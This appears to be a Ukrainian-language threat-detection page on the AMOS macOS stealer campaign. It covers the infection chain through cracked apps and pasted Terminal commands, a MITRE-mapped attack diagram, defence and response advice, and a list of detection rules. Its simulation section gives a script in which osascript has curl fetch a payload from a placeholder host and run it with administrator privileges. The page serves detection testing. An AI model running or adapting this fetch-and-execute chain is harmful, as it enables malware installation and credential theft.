AMOS-крадій націлено на macOS через «зламані» додатки
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт описує кампанію з розповсюдження Atomic macOS Stealer (AMOS), завуальованого під зламані додатки або ж шляхом інструкцій користувачам із запуску команд терміналу копіювання-вставки. Після виконання, шкідливе програмне забезпечення збирає широкий набір конфіденційних даних, включно з обліковими даними, інформацією про браузер, криптовалютними гаманцями, файлами додатків для обміну повідомленнями, профілями VPN та особистими документами, які потім передає викрадений вміст через HTTP або HTTPS. Щоб уникнути статичного виявлення, оператори змінюють домени та URL-адреси протягом всієї кампанії. Ці дії спрямовані на користувачів macOS, особливо тих, хто шукає неофіційні або піратські програми.
Розслідування
Телеметрія Trend Vision One використовувалась для реконструкції повного ланцюга зараження, починаючи з завантажень зламаних додатків з haxmac.cc, потім перенаправлення через проміжні домени, виконання шкідливих shell-скриптів, створення демонів запуску для збереження, підготовка даних у /tmp, стиснення в ZIP-архіви та ексфільтрація на змінювані домени, контрольовані нападниками. Дослідники зафіксували відповідні командні рядки, шляхи файлів та поведінкові індикатори, пов’язані з кожним етапом компрометації.
Захист
Організації повинні навчати користувачів про ризики використання зламаного програмного забезпечення та команд копіювання-вставки в терміналі, забезпечувати дотримання контролю Gatekeeper та нотації, а також обмежити виконання непотрібних скриптів у системах macOS. Захисникам також слід моніторити підозрілу активність curl and osascript і блокувати доступ до відомих шкідливих доменів та IP-адрес. Виявлення на кінцевих точках має фокусуватися на несанкціонованому створенні демонів запуску, прихованому розміщенні файлів та незвичайній поведінці зі збору чи ексфільтрації файлів.
Відповідь
Якщо виявлено активність AMOS, ізолюйте уражену кінцеву точку, зупиніть шкідливі процеси, видаліть приховані файли, такі як .helper, .agentі com.finder.helper.plistта видаліть будь-які підготовлені дані для ексфільтрації. Скомпрометовані облікові дані повинні бути відкликані, а судово-медичний аналіз слід провести над будь-якими відновленими архівами. Виявлена шкідлива інфраструктура повинна бути заблокована, а вміст виявлення оновлено для моніторингу виявлених шаблонів команд.
graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Вузли – Дії (Техніки) step1_initial_access_file[“<b>Дія</b> – <b>T1204.002 Виконання Користувачем: Шкідливий Файл</b><br/>Жертва завантажує та запускає троянізований файл .dmg, замаскований під зламаний застосунок.”] class step1_initial_access_file action step2_copy_paste[“<b>Дія</b> – <b>T1204.004 Виконання Користувачем: Шкідливе Копіювання та Вставка</b><br/>Жертва копіює команду curl із вебсторінки в Terminal, що завантажує та запускає install.sh.”] class step2_copy_paste action step3_masquerading[“<b>Дія</b> – <b>T1036 Маскування</b><br/>Шкідливе ПЗ маскується під легітимне зламане програмне забезпечення та фейкові сторінки встановлення.”] class step3_masquerading action step4_curl_proxy[“<b>Дія</b> – <b>T1218 Виконання через Системний Бінарний Проксі</b><br/>Легітимний бінарний файл curl отримує шкідливі скрипти.”] class step4_curl_proxy action step5_osascript_proxy[“<b>Дія</b> – <b>T1216 Виконання через Системні Скрипти</b><br/>osascript виконує AppleScript payload для запуску коду.”] class step5_osascript_proxy action step6_shell_interpreter[“<b>Дія</b> – <b>T1059.004 Інтерпретатор Команд і Скриптів: Unix Shell</b><br/>Shell-команди створюють директорії, збирають файли та викликають curl для ексфільтрації.”] class step6_shell_interpreter action step7_sudo_abuse[“<b>Дія</b> – <b>T1548.003 Зловживання Механізмом Підвищення Привілеїв: Sudo та кеш Sudo</b><br/>Перехоплений пароль передається до sudo для запису LaunchDaemon plist із root-привілеями.”] class step7_sudo_abuse action step8_persistence[“<b>Дія</b> – <b>T1569 Системні Служби: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) запускає шкідливий .agent-скрипт під час завантаження системи.”] class step8_persistence action step9_defense_evasion[“<b>Дія</b> – <b>T1127 Виконання через Довірені Інструменти Розробника</b><br/>Інструменти Apple (osascript) використовуються для виконання payload та обходу захисту.”] class step9_defense_evasion action step10_dga[“<b>Дія</b> – <b>T1568.002 Динамічне Розв’язання: Алгоритми Генерації Доменів</b><br/>Зловмисник ротує численні домени .cfd та інші для доставки payload.”] class step10_dga action step11_browser_creds[“<b>Дія</b> – <b>T1555.003 Облікові Дані з Менеджерів Паролів: Веббраузери</b><br/>Викрадення логінів і cookie з Chrome, Firefox та Edge.”] class step11_browser_creds action step12_keychain[“<b>Дія</b> – <b>T1555 Облікові Дані з Менеджерів Паролів</b><br/>Витяг даних із macOS Keychain.”] class step12_keychain action step13_wallet_keys[“<b>Дія</b> – <b>T1552.004 Приватні Ключі</b><br/>Викрадення файлів криптовалютних гаманців.”] class step13_wallet_keys action step14_session_cookies[“<b>Дія</b> – <b>T1550.004 Cookie Сесії Веб</b><br/>Збір cookie сесій для подальшого використання.”] class step14_session_cookies action step15_archive[“<b>Дія</b> – <b>T1560 Архівація Зібраних Даних</b><br/>Зібрані файли стискаються в out.zip.”] class step15_archive action step16_compression[“<b>Дія</b> – <b>T1027.015 Стиснення</b><br/>Дані стискаються перед ексфільтрацією (обфускація).”] class step16_compression action step17_exfil_https[“<b>Дія</b> – <b>T1071.001 Протокол Рівня Додатків: Вебпротоколи</b><br/>Стиснений архів завантажується через HTTPS POST на сервер атакуючого.”] class step17_exfil_https action step18_indirect_curl[“<b>Дія</b> – <b>T1202 Непряме Виконання Команд</b><br/>Команда curl тихо отримує та виконує віддалений скрипт.”] class step18_indirect_curl action %% Інструменти tool_curl[“<b>Інструмент</b> – <b>Назва</b>: curl<br/><b>Опис</b>: Консольна утиліта для передачі даних через URL.”] class tool_curl tool tool_osascript[“<b>Інструмент</b> – <b>Назва</b>: osascript<br/><b>Опис</b>: Виконує AppleScript або JavaScript for Automation.”] class tool_osascript tool tool_sudo[“<b>Інструмент</b> – <b>Назва</b>: sudo<br/><b>Опис</b>: Виконує команди з підвищеними привілеями.”] class tool_sudo tool tool_launchd[“<b>Інструмент</b> – <b>Назва</b>: launchd<br/><b>Опис</b>: Менеджер системних служб macOS для запуску LaunchDaemon та агентів.”] class tool_launchd tool %% Файли та дані file_dmg[“<b>Файл</b> – <b>Назва</b>: trojanized.dmg<br/><b>Тип</b>: Диск-образ, замаскований під зламаний застосунок”] class file_dmg file file_install_sh[“<b>Файл</b> – <b>Назва</b>: install.sh<br/><b>Тип</b>: Shell-скрипт, завантажений через curl”] class file_install_sh file data_out_zip[“<b>Дані</b> – <b>Назва</b>: out.zip<br/><b>Вміст</b>: Зібрані файли, готові до ексфільтрації”] class data_out_zip data %% Зв’язки step1_initial_access_file –>|завантажує та запускає| file_dmg file_dmg –>|тригерить| step1_initial_access_file step1_initial_access_file –>|веде до| step2_copy_paste step2_copy_paste –>|використовує| tool_curl tool_curl –>|завантажує| file_install_sh file_install_sh –>|виконує| step2_copy_paste step2_copy_paste –>|веде до| step3_masquerading step3_masquerading –>|активує| step4_curl_proxy step4_curl_proxy –>|використовує| tool_curl tool_curl –>|отримує| step5_osascript_proxy step5_osascript_proxy –>|використовує| tool_osascript tool_osascript –>|виконує| step6_shell_interpreter step6_shell_interpreter –>|викликає| step7_sudo_abuse step7_sudo_abuse –>|використовує| tool_sudo tool_sudo –>|записує| step8_persistence step8_persistence –>|керується| tool_launchd tool_launchd –>|запускає| step9_defense_evasion step9_defense_evasion –>|дозволяє| step10_dga step10_dga –>|надає| step11_browser_creds step10_dga –>|надає| step12_keychain step10_dga –>|надає| step13_wallet_keys step10_dga –>|надає| step14_session_cookies step11_browser_creds –>|зібрано в| step15_archive step12_keychain –>|зібрано в| step15_archive step13_wallet_keys –>|зібрано в| step15_archive step14_session_cookies –>|зібрано в| step15_archive step15_archive –>|створює| data_out_zip data_out_zip –>|стиснено| step16_compression step16_compression –>|відправлено через| step17_exfil_https step17_exfil_https –>|використовує| tool_curl tool_curl –>|виконує| step18_indirect_curl step18_indirect_curl –>|завершує| step1_initial_access_file %% Стиль class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
Потік Атаки
Виявлення
Підозріле Використання Ditto для Архівування та Ексфільтрації Файлів на macOS (через process_creation)
Переглянути
Можливе Багатофайлове Створення у TMP Директорії для Ексфільтрації (через file_event)
Переглянути
Atomic MacOS Stealer – Діяльність FileGrabber
Переглянути
Можливе Копіювання Даних для Входу Chrome у TMP Директорію (через process_creation)
Переглянути
IOCs (HashSha1) для виявлення: Аналіз кампанії AMOS Stealer, націленої на macOS через ‘зламані’ додатки
Переглянути
IOCs (SourceIP) для виявлення: Аналіз кампанії AMOS Stealer, націленої на macOS через ‘зламані’ додатки
Переглянути
IOCs (DestinationIP) для виявлення: Аналіз кампанії AMOS Stealer, націленої на macOS через ‘зламані’ додатки
Переглянути
Виявлення Виконання AMOS Stealer через Команди Терминалу на macOS [Linux Створення Процесів]
Переглянути
Виявлення Виконання AMOS Stealer через AppleScript та Curl [Linux Створення Процесів]
Переглянути
Виконання Симуляцій
Передумова: Перевірка Телеметрії та Базової лінії повинна бути пройдена.
Основи: Цей розділ детально описує конкретне виконання техніки противника (TTP), призначене для спрацювання правила виявлення. Команди та наратив ПОВИННІ безпосередньо відбивати виявлені TTP та прагнути створити точну телеметрію, що очікується за логікою виявлення. Абстрактні або нерелевантні приклади приведуть до невірної діагностики.
-
Опис атаки та команди:
Противник отримав фішингову приманку, яка доставляє короткий AppleScript масив. Сценарій використовуєosascriptдля виконання команди shell (sh -c), яка викликаєcurlдля завантаження бінарного файлу AMOS stealer з серверу C2, зберігає його в папці користувача~/Library/Application Support/та потім виконують його з підвищеними привілеями. Використанняosascript(підписаний бінарний файл Apple) маскує активність як легітимну автоматизацію, аcurlзабезпечує тиху мережеву завантаження. -
Скрипт регресійного тесту:
# amos_stealer_simulation.sh # Симуляція виконання AMOS stealer на macOS з використанням osascript + curl # 1. Визначити шкідливий URL (використовуйте безпечний заповнювач для безпеки) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. AppleScript, що виконує команду shell для завантаження та виконання масиву APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. Виконати AppleScript через osascript echo "$APPLESCRIPT" | osascript # 4. Коротка зупинка, щоб дозволити масиву запуститися sleep 5 -
Команди очищення:
# cleanup_amos_simulation.sh # Видалити артефакти, створені в результаті симуляції # Видалити завантажений масив rm -f /tmp/payload.sh # Відкликати тимчасові процеси з підвищенням привілеїв (якщо вони ще виконуються) pkill -f "/tmp/payload.sh" || true # Опціонально, очистити історію виконання AppleScript # (macOS не зберігає постійну історію для osascript) echo "Очищення завершено."